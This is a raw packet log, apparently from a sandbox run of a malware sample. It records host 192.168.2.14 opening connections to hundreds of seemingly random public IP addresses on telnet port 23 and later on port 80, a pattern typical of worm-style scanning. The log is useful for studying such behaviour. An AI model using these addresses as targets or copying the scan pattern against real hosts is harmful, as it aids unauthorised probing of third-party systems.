Oct 14, 2024 17:34:11.832268000 CEST	23	29508	2.136.52.213	192.168.2.14
Oct 14, 2024 17:34:11.832276106 CEST	29508	23	192.168.2.14	1.111.186.130
Oct 14, 2024 17:34:11.832278013 CEST	29508	23	192.168.2.14	53.188.232.175
Oct 14, 2024 17:34:11.832284927 CEST	23	29508	40.41.181.70	192.168.2.14
Oct 14, 2024 17:34:11.832290888 CEST	29508	23	192.168.2.14	177.164.203.162
Oct 14, 2024 17:34:11.832293987 CEST	23	29508	48.197.150.46	192.168.2.14
Oct 14, 2024 17:34:11.832303047 CEST	23	29508	13.245.248.179	192.168.2.14
Oct 14, 2024 17:34:11.832314014 CEST	23	29508	135.188.76.8	192.168.2.14
Oct 14, 2024 17:34:11.832321882 CEST	29508	23	192.168.2.14	40.41.181.70
Oct 14, 2024 17:34:11.832324028 CEST	29508	23	192.168.2.14	48.197.150.46
Oct 14, 2024 17:34:11.832330942 CEST	23	29508	185.163.95.17	192.168.2.14
Oct 14, 2024 17:34:11.832340956 CEST	23	29508	111.225.40.119	192.168.2.14
Oct 14, 2024 17:34:11.832345963 CEST	29508	23	192.168.2.14	135.188.76.8
Oct 14, 2024 17:34:11.832350016 CEST	23	29508	91.118.35.191	192.168.2.14
Oct 14, 2024 17:34:11.832359076 CEST	23	29508	175.173.103.91	192.168.2.14
Oct 14, 2024 17:34:11.832365990 CEST	29508	23	192.168.2.14	185.163.95.17
Oct 14, 2024 17:34:11.832384109 CEST	29508	23	192.168.2.14	90.150.101.124
Oct 14, 2024 17:34:11.832384109 CEST	29508	23	192.168.2.14	2.136.52.213
Oct 14, 2024 17:34:11.832384109 CEST	29508	23	192.168.2.14	192.223.226.90
Oct 14, 2024 17:34:11.832384109 CEST	29508	23	192.168.2.14	13.245.248.179
Oct 14, 2024 17:34:11.832385063 CEST	29508	23	192.168.2.14	91.118.35.191
Oct 14, 2024 17:34:11.832384109 CEST	29508	23	192.168.2.14	111.225.40.119
Oct 14, 2024 17:34:11.832385063 CEST	29508	23	192.168.2.14	175.173.103.91
Oct 14, 2024 17:34:11.832426071 CEST	23	29508	125.236.109.40	192.168.2.14
Oct 14, 2024 17:34:11.832434893 CEST	23	29508	166.17.162.191	192.168.2.14
Oct 14, 2024 17:34:11.832443953 CEST	23	29508	95.207.221.54	192.168.2.14
Oct 14, 2024 17:34:11.832452059 CEST	23	29508	101.51.159.133	192.168.2.14
Oct 14, 2024 17:34:11.832462072 CEST	29508	23	192.168.2.14	125.236.109.40
Oct 14, 2024 17:34:11.832463026 CEST	23	29508	45.203.221.119	192.168.2.14
Oct 14, 2024 17:34:11.832473040 CEST	23	29508	150.229.92.208	192.168.2.14
Oct 14, 2024 17:34:11.832475901 CEST	29508	23	192.168.2.14	95.207.221.54
Oct 14, 2024 17:34:11.832478046 CEST	29508	23	192.168.2.14	166.17.162.191
Oct 14, 2024 17:34:11.832483053 CEST	23	29508	154.104.44.80	192.168.2.14
Oct 14, 2024 17:34:11.832492113 CEST	23	29508	20.33.2.88	192.168.2.14
Oct 14, 2024 17:34:11.832509995 CEST	29508	23	192.168.2.14	45.203.221.119
Oct 14, 2024 17:34:11.832519054 CEST	29508	23	192.168.2.14	101.51.159.133
Oct 14, 2024 17:34:11.832537889 CEST	29508	23	192.168.2.14	150.229.92.208
Oct 14, 2024 17:34:11.832537889 CEST	29508	23	192.168.2.14	154.104.44.80
Oct 14, 2024 17:34:11.832537889 CEST	29508	23	192.168.2.14	20.33.2.88
Oct 14, 2024 17:34:11.833004951 CEST	23	29508	38.161.11.98	192.168.2.14
Oct 14, 2024 17:34:11.833015919 CEST	23	29508	188.160.122.16	192.168.2.14
Oct 14, 2024 17:34:11.833024025 CEST	23	29508	165.212.96.202	192.168.2.14
Oct 14, 2024 17:34:11.833036900 CEST	23	29508	169.108.32.176	192.168.2.14
Oct 14, 2024 17:34:11.833043098 CEST	57804	23	192.168.2.14	179.97.237.227
Oct 14, 2024 17:34:11.833048105 CEST	23	29508	50.29.251.8	192.168.2.14
Oct 14, 2024 17:34:11.833055973 CEST	29508	23	192.168.2.14	38.161.11.98
Oct 14, 2024 17:34:11.833055973 CEST	29508	23	192.168.2.14	188.160.122.16
Oct 14, 2024 17:34:11.833055973 CEST	29508	23	192.168.2.14	165.212.96.202
Oct 14, 2024 17:34:11.833058119 CEST	23	29508	205.246.16.163	192.168.2.14
Oct 14, 2024 17:34:11.833066940 CEST	23	29508	209.229.104.66	192.168.2.14
Oct 14, 2024 17:34:11.833070993 CEST	29508	23	192.168.2.14	169.108.32.176
Oct 14, 2024 17:34:11.833076000 CEST	29508	23	192.168.2.14	50.29.251.8
Oct 14, 2024 17:34:11.833076954 CEST	23	29508	101.216.24.17	192.168.2.14
Oct 14, 2024 17:34:11.833082914 CEST	23	29508	132.206.209.237	192.168.2.14
Oct 14, 2024 17:34:11.833093882 CEST	29508	23	192.168.2.14	205.246.16.163
Oct 14, 2024 17:34:11.833100080 CEST	23	29508	126.212.236.162	192.168.2.14
Oct 14, 2024 17:34:11.833108902 CEST	23	29508	12.107.122.170	192.168.2.14
Oct 14, 2024 17:34:11.833112955 CEST	29508	23	192.168.2.14	132.206.209.237
Oct 14, 2024 17:34:11.833115101 CEST	29508	23	192.168.2.14	209.229.104.66
Oct 14, 2024 17:34:11.833115101 CEST	29508	23	192.168.2.14	101.216.24.17
Oct 14, 2024 17:34:11.833117008 CEST	23	29508	54.91.104.111	192.168.2.14
Oct 14, 2024 17:34:11.833127022 CEST	23	29508	189.21.136.167	192.168.2.14
Oct 14, 2024 17:34:11.833134890 CEST	23	29508	217.197.76.155	192.168.2.14
Oct 14, 2024 17:34:11.833143950 CEST	23	29508	24.141.96.8	192.168.2.14
Oct 14, 2024 17:34:11.833144903 CEST	29508	23	192.168.2.14	12.107.122.170
Oct 14, 2024 17:34:11.833144903 CEST	29508	23	192.168.2.14	126.212.236.162
Oct 14, 2024 17:34:11.833153963 CEST	23	29508	144.146.200.66	192.168.2.14
Oct 14, 2024 17:34:11.833163023 CEST	23	29508	119.119.97.50	192.168.2.14
Oct 14, 2024 17:34:11.833165884 CEST	29508	23	192.168.2.14	54.91.104.111
Oct 14, 2024 17:34:11.833165884 CEST	29508	23	192.168.2.14	189.21.136.167
Oct 14, 2024 17:34:11.833165884 CEST	29508	23	192.168.2.14	217.197.76.155
Oct 14, 2024 17:34:11.833165884 CEST	29508	23	192.168.2.14	24.141.96.8
Oct 14, 2024 17:34:11.833172083 CEST	23	29508	153.94.109.106	192.168.2.14
Oct 14, 2024 17:34:11.833182096 CEST	23	29508	197.157.241.42	192.168.2.14
Oct 14, 2024 17:34:11.833190918 CEST	23	29508	186.246.25.245	192.168.2.14
Oct 14, 2024 17:34:11.833194017 CEST	29508	23	192.168.2.14	144.146.200.66
Oct 14, 2024 17:34:11.833199024 CEST	23	29508	163.9.247.70	192.168.2.14
Oct 14, 2024 17:34:11.833208084 CEST	23	29508	24.83.101.109	192.168.2.14
Oct 14, 2024 17:34:11.833215952 CEST	23	29508	171.92.60.116	192.168.2.14
Oct 14, 2024 17:34:11.833225012 CEST	23	29508	133.195.14.229	192.168.2.14
Oct 14, 2024 17:34:11.833225012 CEST	29508	23	192.168.2.14	119.119.97.50
Oct 14, 2024 17:34:11.833225012 CEST	29508	23	192.168.2.14	153.94.109.106
Oct 14, 2024 17:34:11.833225012 CEST	29508	23	192.168.2.14	197.157.241.42
Oct 14, 2024 17:34:11.833240032 CEST	23	29508	67.78.221.156	192.168.2.14
Oct 14, 2024 17:34:11.833250999 CEST	23	29508	91.107.162.211	192.168.2.14
Oct 14, 2024 17:34:11.833257914 CEST	29508	23	192.168.2.14	171.92.60.116
Oct 14, 2024 17:34:11.833257914 CEST	29508	23	192.168.2.14	163.9.247.70
Oct 14, 2024 17:34:11.833259106 CEST	23	29508	53.149.151.54	192.168.2.14
Oct 14, 2024 17:34:11.833259106 CEST	29508	23	192.168.2.14	24.83.101.109
Oct 14, 2024 17:34:11.833259106 CEST	29508	23	192.168.2.14	186.246.25.245
Oct 14, 2024 17:34:11.833267927 CEST	23	29508	18.120.216.24	192.168.2.14
Oct 14, 2024 17:34:11.833273888 CEST	29508	23	192.168.2.14	133.195.14.229
Oct 14, 2024 17:34:11.833303928 CEST	29508	23	192.168.2.14	91.107.162.211
Oct 14, 2024 17:34:11.833303928 CEST	29508	23	192.168.2.14	53.149.151.54
Oct 14, 2024 17:34:11.833303928 CEST	29508	23	192.168.2.14	18.120.216.24
Oct 14, 2024 17:34:11.833327055 CEST	29508	23	192.168.2.14	67.78.221.156
Oct 14, 2024 17:34:11.833539009 CEST	23	29508	97.43.14.235	192.168.2.14
Oct 14, 2024 17:34:11.833549023 CEST	23	29508	99.231.69.130	192.168.2.14
Oct 14, 2024 17:34:11.833556890 CEST	23	29508	119.26.67.244	192.168.2.14
Oct 14, 2024 17:34:11.833597898 CEST	29508	23	192.168.2.14	97.43.14.235
Oct 14, 2024 17:34:11.833597898 CEST	29508	23	192.168.2.14	99.231.69.130
Oct 14, 2024 17:34:11.833597898 CEST	29508	23	192.168.2.14	119.26.67.244
Oct 14, 2024 17:34:11.833626986 CEST	23	29508	164.59.235.93	192.168.2.14
Oct 14, 2024 17:34:11.833636999 CEST	23	29508	158.246.231.252	192.168.2.14
Oct 14, 2024 17:34:11.833646059 CEST	23	29508	206.65.3.58	192.168.2.14
Oct 14, 2024 17:34:11.833655119 CEST	23	29508	5.99.203.101	192.168.2.14
Oct 14, 2024 17:34:11.833663940 CEST	23	29508	116.212.158.15	192.168.2.14
Oct 14, 2024 17:34:11.833673000 CEST	23	29508	136.126.231.148	192.168.2.14
Oct 14, 2024 17:34:11.833679914 CEST	29508	23	192.168.2.14	164.59.235.93
Oct 14, 2024 17:34:11.833683014 CEST	29508	23	192.168.2.14	158.246.231.252
Oct 14, 2024 17:34:11.833683014 CEST	29508	23	192.168.2.14	206.65.3.58
Oct 14, 2024 17:34:11.833688974 CEST	23	29508	167.190.226.232	192.168.2.14
Oct 14, 2024 17:34:11.833698034 CEST	23	29508	187.248.204.143	192.168.2.14
Oct 14, 2024 17:34:11.833703041 CEST	29508	23	192.168.2.14	5.99.203.101
Oct 14, 2024 17:34:11.833703041 CEST	29508	23	192.168.2.14	116.212.158.15
Oct 14, 2024 17:34:11.833703041 CEST	29508	23	192.168.2.14	136.126.231.148
Oct 14, 2024 17:34:11.833707094 CEST	23	29508	190.196.17.109	192.168.2.14
Oct 14, 2024 17:34:11.833718061 CEST	23	29508	82.207.212.168	192.168.2.14
Oct 14, 2024 17:34:11.833724022 CEST	29508	23	192.168.2.14	167.190.226.232
Oct 14, 2024 17:34:11.833724022 CEST	29508	23	192.168.2.14	187.248.204.143
Oct 14, 2024 17:34:11.833726883 CEST	23	29508	204.178.237.231	192.168.2.14
Oct 14, 2024 17:34:11.833735943 CEST	23	29508	24.124.210.11	192.168.2.14
Oct 14, 2024 17:34:11.833746910 CEST	29508	23	192.168.2.14	190.196.17.109
Oct 14, 2024 17:34:11.833746910 CEST	23	29508	223.156.180.184	192.168.2.14
Oct 14, 2024 17:34:11.833751917 CEST	23	29508	60.3.35.52	192.168.2.14
Oct 14, 2024 17:34:11.833769083 CEST	23	29508	124.217.142.56	192.168.2.14
Oct 14, 2024 17:34:11.833779097 CEST	23	29508	128.153.159.121	192.168.2.14
Oct 14, 2024 17:34:11.833780050 CEST	29508	23	192.168.2.14	82.207.212.168
Oct 14, 2024 17:34:11.833780050 CEST	29508	23	192.168.2.14	204.178.237.231
Oct 14, 2024 17:34:11.833780050 CEST	29508	23	192.168.2.14	223.156.180.184
Oct 14, 2024 17:34:11.833784103 CEST	29508	23	192.168.2.14	24.124.210.11
Oct 14, 2024 17:34:11.833789110 CEST	23	29508	82.126.101.207	192.168.2.14
Oct 14, 2024 17:34:11.833806992 CEST	23	29508	111.98.2.106	192.168.2.14
Oct 14, 2024 17:34:11.833815098 CEST	29508	23	192.168.2.14	60.3.35.52
Oct 14, 2024 17:34:11.833815098 CEST	29508	23	192.168.2.14	82.126.101.207
Oct 14, 2024 17:34:11.833816051 CEST	29508	23	192.168.2.14	128.153.159.121
Oct 14, 2024 17:34:11.833816051 CEST	23	29508	165.130.203.66	192.168.2.14
Oct 14, 2024 17:34:11.833827019 CEST	23	29508	167.203.46.158	192.168.2.14
Oct 14, 2024 17:34:11.833831072 CEST	29508	23	192.168.2.14	124.217.142.56
Oct 14, 2024 17:34:11.833836079 CEST	23	29508	181.64.196.71	192.168.2.14
Oct 14, 2024 17:34:11.833844900 CEST	23	29508	113.108.24.154	192.168.2.14
Oct 14, 2024 17:34:11.833849907 CEST	23	29508	155.243.65.52	192.168.2.14
Oct 14, 2024 17:34:11.833849907 CEST	29508	23	192.168.2.14	165.130.203.66
Oct 14, 2024 17:34:11.833854914 CEST	23	29508	185.213.69.255	192.168.2.14
Oct 14, 2024 17:34:11.833864927 CEST	23	29508	31.61.162.48	192.168.2.14
Oct 14, 2024 17:34:11.833894968 CEST	29508	23	192.168.2.14	155.243.65.52
Oct 14, 2024 17:34:11.833894968 CEST	29508	23	192.168.2.14	181.64.196.71
Oct 14, 2024 17:34:11.833904028 CEST	29508	23	192.168.2.14	31.61.162.48
Oct 14, 2024 17:34:11.833910942 CEST	29508	23	192.168.2.14	111.98.2.106
Oct 14, 2024 17:34:11.833910942 CEST	29508	23	192.168.2.14	167.203.46.158
Oct 14, 2024 17:34:11.833910942 CEST	29508	23	192.168.2.14	113.108.24.154
Oct 14, 2024 17:34:11.833910942 CEST	29508	23	192.168.2.14	185.213.69.255
Oct 14, 2024 17:34:11.834124088 CEST	48658	23	192.168.2.14	137.157.119.17
Oct 14, 2024 17:34:11.834424973 CEST	23	29508	9.169.238.98	192.168.2.14
Oct 14, 2024 17:34:11.834469080 CEST	29508	23	192.168.2.14	9.169.238.98
Oct 14, 2024 17:34:11.834490061 CEST	23	29508	104.254.183.205	192.168.2.14
Oct 14, 2024 17:34:11.834501028 CEST	23	29508	8.142.215.18	192.168.2.14
Oct 14, 2024 17:34:11.834523916 CEST	23	29508	1.232.235.112	192.168.2.14
Oct 14, 2024 17:34:11.834528923 CEST	29508	23	192.168.2.14	104.254.183.205
Oct 14, 2024 17:34:11.834531069 CEST	29508	23	192.168.2.14	8.142.215.18
Oct 14, 2024 17:34:11.834564924 CEST	29508	23	192.168.2.14	1.232.235.112
Oct 14, 2024 17:34:11.835042953 CEST	52974	23	192.168.2.14	121.195.57.5
Oct 14, 2024 17:34:11.835828066 CEST	54898	23	192.168.2.14	13.147.240.98
Oct 14, 2024 17:34:11.836525917 CEST	56940	23	192.168.2.14	210.210.89.17
Oct 14, 2024 17:34:11.837305069 CEST	36626	23	192.168.2.14	87.191.14.117
Oct 14, 2024 17:34:11.838033915 CEST	23	38838	217.216.81.214	192.168.2.14
Oct 14, 2024 17:34:11.838080883 CEST	38838	23	192.168.2.14	217.216.81.214
Oct 14, 2024 17:34:11.838135958 CEST	44680	23	192.168.2.14	47.52.234.12
Oct 14, 2024 17:34:11.839114904 CEST	38602	23	192.168.2.14	125.9.76.138
Oct 14, 2024 17:34:11.839871883 CEST	47158	23	192.168.2.14	173.80.10.252
Oct 14, 2024 17:34:11.840714931 CEST	42188	23	192.168.2.14	201.110.128.130
Oct 14, 2024 17:34:11.841594934 CEST	54700	23	192.168.2.14	163.255.84.104
Oct 14, 2024 17:34:11.842561960 CEST	58028	23	192.168.2.14	189.110.86.251
Oct 14, 2024 17:34:11.843491077 CEST	49898	23	192.168.2.14	187.121.58.141
Oct 14, 2024 17:34:11.844387054 CEST	40818	23	192.168.2.14	204.49.30.44
Oct 14, 2024 17:34:11.844621897 CEST	23	47158	173.80.10.252	192.168.2.14
Oct 14, 2024 17:34:11.844666958 CEST	47158	23	192.168.2.14	173.80.10.252
Oct 14, 2024 17:34:11.845324039 CEST	38326	23	192.168.2.14	78.16.137.56
Oct 14, 2024 17:34:11.846137047 CEST	55838	23	192.168.2.14	23.127.149.196
Oct 14, 2024 17:34:11.847054958 CEST	56924	23	192.168.2.14	213.8.157.210
Oct 14, 2024 17:34:11.847867012 CEST	38570	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:11.848798990 CEST	56470	23	192.168.2.14	83.128.0.75
Oct 14, 2024 17:34:11.849589109 CEST	53872	23	192.168.2.14	123.159.80.165
Oct 14, 2024 17:34:11.850559950 CEST	60768	23	192.168.2.14	52.197.139.208
Oct 14, 2024 17:34:11.851644039 CEST	33942	23	192.168.2.14	158.251.193.228
Oct 14, 2024 17:34:11.851764917 CEST	29626	80	192.168.2.14	208.21.225.69
Oct 14, 2024 17:34:11.851764917 CEST	29626	80	192.168.2.14	95.86.156.47
Oct 14, 2024 17:34:11.851764917 CEST	29626	80	192.168.2.14	110.76.233.224
Oct 14, 2024 17:34:11.851774931 CEST	29626	80	192.168.2.14	86.100.135.202
Oct 14, 2024 17:34:11.851778030 CEST	29626	80	192.168.2.14	180.137.149.239
Oct 14, 2024 17:34:11.851784945 CEST	29626	80	192.168.2.14	129.8.161.145
Oct 14, 2024 17:34:11.851785898 CEST	29626	80	192.168.2.14	112.70.174.189
Oct 14, 2024 17:34:11.851785898 CEST	29626	80	192.168.2.14	84.245.225.152
Oct 14, 2024 17:34:11.851855040 CEST	29626	80	192.168.2.14	128.174.5.107
Oct 14, 2024 17:34:11.851855993 CEST	29626	80	192.168.2.14	198.91.113.22
Oct 14, 2024 17:34:11.851855993 CEST	29626	80	192.168.2.14	159.108.246.195
Oct 14, 2024 17:34:11.851855993 CEST	29626	80	192.168.2.14	145.130.191.220
Oct 14, 2024 17:34:11.851859093 CEST	29626	80	192.168.2.14	146.197.101.221
Oct 14, 2024 17:34:11.851861000 CEST	29626	80	192.168.2.14	181.137.179.206
Oct 14, 2024 17:34:11.851861000 CEST	29626	80	192.168.2.14	123.190.230.109
Oct 14, 2024 17:34:11.851861000 CEST	29626	80	192.168.2.14	153.172.216.172
Oct 14, 2024 17:34:11.851861954 CEST	29626	80	192.168.2.14	202.57.100.233
Oct 14, 2024 17:34:11.851861000 CEST	29626	80	192.168.2.14	193.122.195.108
Oct 14, 2024 17:34:11.851861000 CEST	29626	80	192.168.2.14	100.252.115.141
Oct 14, 2024 17:34:11.851866961 CEST	29626	80	192.168.2.14	206.43.186.244
Oct 14, 2024 17:34:11.851875067 CEST	29626	80	192.168.2.14	51.183.247.71
Oct 14, 2024 17:34:11.851876020 CEST	29626	80	192.168.2.14	98.29.183.141
Oct 14, 2024 17:34:11.851934910 CEST	29626	80	192.168.2.14	216.18.235.124
Oct 14, 2024 17:34:11.851938963 CEST	29626	80	192.168.2.14	73.159.111.78
Oct 14, 2024 17:34:11.851938963 CEST	29626	80	192.168.2.14	120.177.2.111
Oct 14, 2024 17:34:11.851941109 CEST	29626	80	192.168.2.14	184.248.91.125
Oct 14, 2024 17:34:11.851941109 CEST	29626	80	192.168.2.14	132.100.121.163
Oct 14, 2024 17:34:11.851942062 CEST	29626	80	192.168.2.14	107.92.150.138
Oct 14, 2024 17:34:11.851943970 CEST	29626	80	192.168.2.14	156.171.191.15
Oct 14, 2024 17:34:11.851943970 CEST	29626	80	192.168.2.14	13.199.84.118
Oct 14, 2024 17:34:11.851943970 CEST	29626	80	192.168.2.14	37.239.80.194
Oct 14, 2024 17:34:11.851943970 CEST	29626	80	192.168.2.14	77.181.234.184
Oct 14, 2024 17:34:11.851949930 CEST	29626	80	192.168.2.14	129.233.115.5
Oct 14, 2024 17:34:11.851950884 CEST	29626	80	192.168.2.14	193.188.29.226
Oct 14, 2024 17:34:11.851950884 CEST	29626	80	192.168.2.14	61.186.26.179
Oct 14, 2024 17:34:11.851950884 CEST	29626	80	192.168.2.14	156.94.219.62
Oct 14, 2024 17:34:11.851958990 CEST	29626	80	192.168.2.14	48.78.72.60
Oct 14, 2024 17:34:11.851958990 CEST	29626	80	192.168.2.14	85.1.220.162
Oct 14, 2024 17:34:11.851958990 CEST	29626	80	192.168.2.14	75.116.245.23
Oct 14, 2024 17:34:11.851958990 CEST	29626	80	192.168.2.14	195.89.36.181
Oct 14, 2024 17:34:11.851958990 CEST	29626	80	192.168.2.14	44.128.192.48
Oct 14, 2024 17:34:11.851958990 CEST	29626	80	192.168.2.14	101.232.169.240
Oct 14, 2024 17:34:11.851984024 CEST	29626	80	192.168.2.14	8.72.54.28
Oct 14, 2024 17:34:11.851991892 CEST	29626	80	192.168.2.14	100.197.55.249
Oct 14, 2024 17:34:11.851991892 CEST	29626	80	192.168.2.14	5.5.151.16
Oct 14, 2024 17:34:11.851991892 CEST	29626	80	192.168.2.14	106.6.144.182
Oct 14, 2024 17:34:11.851994038 CEST	29626	80	192.168.2.14	61.180.149.121
Oct 14, 2024 17:34:11.851994038 CEST	29626	80	192.168.2.14	156.77.44.104
Oct 14, 2024 17:34:11.851994991 CEST	29626	80	192.168.2.14	201.22.30.82
Oct 14, 2024 17:34:11.851994038 CEST	29626	80	192.168.2.14	23.6.41.91
Oct 14, 2024 17:34:11.851994991 CEST	29626	80	192.168.2.14	13.110.99.34
Oct 14, 2024 17:34:11.851994991 CEST	29626	80	192.168.2.14	178.186.42.151
Oct 14, 2024 17:34:11.851994991 CEST	29626	80	192.168.2.14	149.185.131.40
Oct 14, 2024 17:34:11.851994991 CEST	29626	80	192.168.2.14	174.226.40.175
Oct 14, 2024 17:34:11.851996899 CEST	29626	80	192.168.2.14	109.36.60.54
Oct 14, 2024 17:34:11.851994991 CEST	29626	80	192.168.2.14	138.92.182.235
Oct 14, 2024 17:34:11.851994991 CEST	29626	80	192.168.2.14	169.84.228.254
Oct 14, 2024 17:34:11.851994991 CEST	29626	80	192.168.2.14	190.52.18.33
Oct 14, 2024 17:34:11.851994991 CEST	29626	80	192.168.2.14	116.119.96.119
Oct 14, 2024 17:34:11.852011919 CEST	29626	80	192.168.2.14	49.219.197.212
Oct 14, 2024 17:34:11.852013111 CEST	29626	80	192.168.2.14	168.242.230.146
Oct 14, 2024 17:34:11.852016926 CEST	29626	80	192.168.2.14	124.226.172.192
Oct 14, 2024 17:34:11.852016926 CEST	29626	80	192.168.2.14	96.215.209.187
Oct 14, 2024 17:34:11.852019072 CEST	29626	80	192.168.2.14	23.82.77.212
Oct 14, 2024 17:34:11.852020979 CEST	29626	80	192.168.2.14	147.85.69.208
Oct 14, 2024 17:34:11.852082014 CEST	29626	80	192.168.2.14	119.172.204.11
Oct 14, 2024 17:34:11.852082968 CEST	29626	80	192.168.2.14	101.149.116.24
Oct 14, 2024 17:34:11.852082968 CEST	29626	80	192.168.2.14	82.247.130.245
Oct 14, 2024 17:34:11.852082968 CEST	29626	80	192.168.2.14	208.30.166.89
Oct 14, 2024 17:34:11.852086067 CEST	29626	80	192.168.2.14	219.209.161.65
Oct 14, 2024 17:34:11.852086067 CEST	29626	80	192.168.2.14	146.157.251.98
Oct 14, 2024 17:34:11.852092981 CEST	29626	80	192.168.2.14	190.238.128.158
Oct 14, 2024 17:34:11.852092981 CEST	29626	80	192.168.2.14	221.211.112.250
Oct 14, 2024 17:34:11.852124929 CEST	29626	80	192.168.2.14	181.199.85.64
Oct 14, 2024 17:34:11.852147102 CEST	29626	80	192.168.2.14	46.250.59.82
Oct 14, 2024 17:34:11.852147102 CEST	29626	80	192.168.2.14	203.107.250.73
Oct 14, 2024 17:34:11.852147102 CEST	29626	80	192.168.2.14	158.242.134.123
Oct 14, 2024 17:34:11.852147102 CEST	29626	80	192.168.2.14	190.215.33.223
Oct 14, 2024 17:34:11.852147102 CEST	29626	80	192.168.2.14	188.126.177.232
Oct 14, 2024 17:34:11.852147102 CEST	29626	80	192.168.2.14	137.201.8.166
Oct 14, 2024 17:34:11.852147102 CEST	29626	80	192.168.2.14	120.22.207.238
Oct 14, 2024 17:34:11.852157116 CEST	29626	80	192.168.2.14	130.144.92.6
Oct 14, 2024 17:34:11.852157116 CEST	29626	80	192.168.2.14	170.134.255.13
Oct 14, 2024 17:34:11.852157116 CEST	29626	80	192.168.2.14	1.134.141.230
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	148.145.71.201
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	201.249.190.195
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	156.190.99.197
Oct 14, 2024 17:34:11.852189064 CEST	29626	80	192.168.2.14	137.36.33.150
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	47.89.36.3
Oct 14, 2024 17:34:11.852191925 CEST	29626	80	192.168.2.14	47.138.65.56
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	107.222.223.237
Oct 14, 2024 17:34:11.852190971 CEST	29626	80	192.168.2.14	75.68.170.4
Oct 14, 2024 17:34:11.852191925 CEST	29626	80	192.168.2.14	41.174.116.241
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	190.232.178.85
Oct 14, 2024 17:34:11.852191925 CEST	29626	80	192.168.2.14	107.186.13.75
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	211.200.225.160
Oct 14, 2024 17:34:11.852189064 CEST	29626	80	192.168.2.14	191.221.11.51
Oct 14, 2024 17:34:11.852191925 CEST	29626	80	192.168.2.14	156.95.209.25
Oct 14, 2024 17:34:11.852190971 CEST	29626	80	192.168.2.14	186.153.230.161
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	155.222.153.101
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	109.241.170.14
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	32.86.159.12
Oct 14, 2024 17:34:11.852190971 CEST	29626	80	192.168.2.14	65.13.67.122
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	103.80.86.239
Oct 14, 2024 17:34:11.852189064 CEST	29626	80	192.168.2.14	95.134.162.107
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	71.124.188.20
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	20.252.16.176
Oct 14, 2024 17:34:11.852199078 CEST	29626	80	192.168.2.14	142.91.186.49
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	2.60.102.161
Oct 14, 2024 17:34:11.852188110 CEST	29626	80	192.168.2.14	93.92.199.238
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	178.134.30.204
Oct 14, 2024 17:34:11.852190971 CEST	29626	80	192.168.2.14	13.245.250.38
Oct 14, 2024 17:34:11.852188110 CEST	29626	80	192.168.2.14	113.94.38.62
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	160.62.21.252
Oct 14, 2024 17:34:11.852189064 CEST	29626	80	192.168.2.14	186.68.215.185
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	44.142.45.183
Oct 14, 2024 17:34:11.852199078 CEST	29626	80	192.168.2.14	42.222.26.251
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	110.115.104.200
Oct 14, 2024 17:34:11.852190971 CEST	29626	80	192.168.2.14	70.155.32.235
Oct 14, 2024 17:34:11.852199078 CEST	29626	80	192.168.2.14	167.90.101.157
Oct 14, 2024 17:34:11.852189064 CEST	29626	80	192.168.2.14	117.209.170.33
Oct 14, 2024 17:34:11.852190971 CEST	29626	80	192.168.2.14	192.192.70.73
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	197.251.59.243
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	71.60.165.79
Oct 14, 2024 17:34:11.852193117 CEST	29626	80	192.168.2.14	122.120.63.64
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	135.246.145.160
Oct 14, 2024 17:34:11.852200031 CEST	29626	80	192.168.2.14	44.19.47.143
Oct 14, 2024 17:34:11.852186918 CEST	29626	80	192.168.2.14	116.246.199.190
Oct 14, 2024 17:34:11.852190971 CEST	29626	80	192.168.2.14	175.242.150.43
Oct 14, 2024 17:34:11.852200031 CEST	29626	80	192.168.2.14	117.4.2.222
Oct 14, 2024 17:34:11.852190971 CEST	29626	80	192.168.2.14	77.231.146.163
Oct 14, 2024 17:34:11.852200031 CEST	29626	80	192.168.2.14	218.123.209.134
Oct 14, 2024 17:34:11.852189064 CEST	29626	80	192.168.2.14	32.41.123.73
Oct 14, 2024 17:34:11.852188110 CEST	29626	80	192.168.2.14	204.145.51.228
Oct 14, 2024 17:34:11.852189064 CEST	29626	80	192.168.2.14	208.182.188.236
Oct 14, 2024 17:34:11.852188110 CEST	29626	80	192.168.2.14	13.151.217.37
Oct 14, 2024 17:34:11.852200031 CEST	29626	80	192.168.2.14	164.33.110.223
Oct 14, 2024 17:34:11.852188110 CEST	29626	80	192.168.2.14	146.237.229.215
Oct 14, 2024 17:34:11.852232933 CEST	29626	80	192.168.2.14	101.111.249.16
Oct 14, 2024 17:34:11.852188110 CEST	29626	80	192.168.2.14	159.135.60.238
Oct 14, 2024 17:34:11.852236032 CEST	29626	80	192.168.2.14	91.84.4.132
Oct 14, 2024 17:34:11.852236986 CEST	29626	80	192.168.2.14	1.11.138.175
Oct 14, 2024 17:34:11.852232933 CEST	29626	80	192.168.2.14	191.227.144.168
Oct 14, 2024 17:34:11.852235079 CEST	29626	80	192.168.2.14	147.134.215.248
Oct 14, 2024 17:34:11.852236986 CEST	29626	80	192.168.2.14	64.167.123.171
Oct 14, 2024 17:34:11.852236986 CEST	29626	80	192.168.2.14	219.194.34.27
Oct 14, 2024 17:34:11.852189064 CEST	29626	80	192.168.2.14	79.110.111.162
Oct 14, 2024 17:34:11.852188110 CEST	29626	80	192.168.2.14	23.236.46.21
